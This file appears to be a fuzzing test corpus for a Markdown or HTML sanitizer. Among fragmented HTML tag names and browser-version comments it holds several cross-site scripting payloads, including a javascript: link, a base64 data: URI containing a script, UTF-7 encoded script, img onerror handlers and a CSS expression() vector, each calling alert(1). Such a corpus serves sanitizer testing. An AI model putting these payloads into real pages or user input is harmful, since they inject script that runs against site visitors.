[totallyharmlesslink](javascript:window.onerror=alert;throw%201)
[clickme](data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=)
&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi &alert&A7&(1)&R&UA;&& ¼script ¾alert(1)//¼/script ¾ # _ () [] !()[] ()[] ____ ****** <> ``` ``` ` `!DOCTYPE </!DOCTYPE> a abbr acronym
address applet area article aside audio b base basefont bdi bdo bigblockquotebody
br
button canvas
code
col
colgroup
command
datalist
details
dfn
dir
div
-
dl
h1
h2
h3
h4
h5
h6
head header hgrouphr html i
IMG-Vector
!(<img src="x:x>"<!--="> <"onError="alert(1)">)[x:x>"<!--="> <"onError="alert(1)]<img src="x:x>"<!--="> <"onError="alert(1)">
-
ol
p
parampreprogress q rp rt ruby
<b 0
// O10.10↓, OM10.0↓, GC6↓, FF // IE6, O10.10↓, OM10.0↓ // IE6, O11.01↓, OM10.1↓
[A] "> "> "> [B] [D] <% foo>
<img src onerror /" '"= alt=alert(1)//">
XXX
<// style=x:expression\28write(1)\29>
X
tfoot
-
ul